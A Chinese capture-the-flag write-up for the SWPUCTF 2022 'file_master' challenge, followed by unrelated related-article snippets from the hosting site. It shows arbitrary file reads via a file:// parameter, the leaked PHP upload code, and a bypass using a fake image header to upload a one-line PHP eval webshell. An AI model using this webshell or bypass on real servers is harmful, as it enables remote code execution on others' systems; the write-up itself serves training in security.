NSS [SWPUCTF 2022 新生赛]file_master

devtools/2024/10/18 12:19:53/

CTF_2022_file_master_0">NSS [SWPUCTF 2022 新生赛]file_master

开题,一眼文件上传。

image-20230930170823112

network看看返回包。后端语言是PHP。

image-20230930170941967

除了文件上传还有个查看文件功能。

image-20230930171125918

起手式查询/etc/passwd,发现查询方法是GET提交参数,后端使用file_get_contents()函数包含文件。同时有open_basedir配置项限制PHP可访问的目录。

image-20230930171433902

我们尝试用伪协议读取文件源码。index.php

?filename=file:///var/www/html/index.php

image-20230930171621910

php"><?phpsession_start();if(isset($_GET['filename'])){echo file_get_contents($_GET['filename']);}else if(isset($_FILES['file']['name'])){$whtie_list = array("image/jpeg");$filetype = $_FILES["file"]["type"];if(in_array($filetype,$whtie_list)){$img_info = @getimagesize($_FILES["file"]["tmp_name"]);if($img_info){if($img_info[0]<=20 && $img_info[1]<=20){if(!is_dir("upload/".session_id())){mkdir("upload/".session_id());}$save_path = "upload/".session_id()."/".$_FILES["file"]["name"];move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);$content = file_get_contents($save_path);if(preg_match("/php/i",$content)){sleep(5);@unlink($save_path);die("hacker!!!");}else{echo "upload success!! upload/your_sessionid/your_filename";}}else{die("image hight and width must less than 20");}}else{die("invalid file head");}}else{die("invalid file type!image/jpeg only!!");}}else{echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';}
?>

有了源码直接变成白盒文件上传。分析一下源码,比较重要的四个点如下:

image-20230930184447294

起手式上传.php然后抓包尝试绕过题目对文件属性和内容的过滤。

Content-Type: image/jpeg内容:
#define height 19
#define width 19
<?= @eval($_POST[1]);?>

image-20230930172810956

image-20230930185128301

上传成功后访问/upload/2kduk0uasdqn4bssun6b3kqumr/myshell.php。直接getshell。

image-20230930185353647


http://www.ppmy.cn/devtools/91268.html

相关文章

【机器学习】BP神经网络正向计算

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 BP神经网络正向计算1. 引言2. BP神经网络结构回顾3. 正向计算的基本原理4. 数学…

Android SurfaceFlinger——信号同步原理(五十一)

经过前面系列文章的学习,我们的已经理解了 SurfaceFlinger 运行机制以及同步机制,但是SurfaceFlinger 又是以什么方法是把需要刷新的信号发送给 App 进程的。 一、VSync简介 垂直同步(Vertical Synchronization,简称 VSync)是一种用于同步视频信号和显示设备刷新率的技术…

LVS 负载均衡

目录 LVS 体系结构 LVS 相关概念术语 lvs 集群常见类型 实验一&#xff1a; LVS NAT模式 LVS NAT特性 实验二&#xff1a; LVS DR模式 LVS DR特性 LVS是Linux virtual server的缩写&#xff0c;是一个高性能的、开源的负载均衡器&#xff0c;它运行于Linux操作系统之上…

跟《经济学人》学英文:2024年08月03日这期 Britain’s railways go from one extreme to another

Britain’s railways go from one extreme to another Departing: privatisation. Destination: centralisation 出发:私有化。目的地:集中化 depart&#xff1a;出发 privatisation&#xff1a;美 [ˌpraɪvətaɪ’zeɪʃən] 私有化&#xff1b;民营化&#xff1b;私营化…

数据结构(邓俊辉)学习笔记】词典 02—— 散列函数

文章目录 1. 冲突难免2. 何为优劣3. 整除留余4. 以禅为师5. M A D6. 平方取中7. 折叠汇总8. 伪随机数9. 多项式10. Vorldmort 1. 冲突难免 好&#xff0c;接下来的这一节我们就来介绍散列策略中的第一项&#xff0c;也是最重要的技术&#xff0c;散列函数的设计与定制。 在上…

C到C++——C++基础

C是一种通用的、静态类型的、跨平台的编程语言。它是在1979年由Bjarne Stroustrup创建的&#xff0c;最初是作为C语言的扩展来支持面向对象编程。 C在保留C语言的特性的同时&#xff0c;添加了许多其他的功能&#xff0c;包括类、对象、继承、多态、模板等。这使得C成为了一种…

Android读取拨号记录功能

Android读取拨号记录功能 Android读取拨号记录功能 首先会检测应用是否有读取拨号记录的权限 MainActivity.java public class MainActivity extends AppCompatActivity {private ListView listCalls;private List<Map<String, Object>> mapList;private static f…

【数据湖与数据仓库】数据湖与数据仓库的区别与应用

数据湖与数据仓库 数据湖与数据仓库的区别与应用 引言 随着大数据时代的到来&#xff0c;数据量呈指数级增长&#xff0c;企业需要高效的存储和管理海量数据的方法。数据湖和数据仓库是两种常见的数据存储和管理解决方案&#xff0c;它们在存储架构、数据处理方式和应用场景上…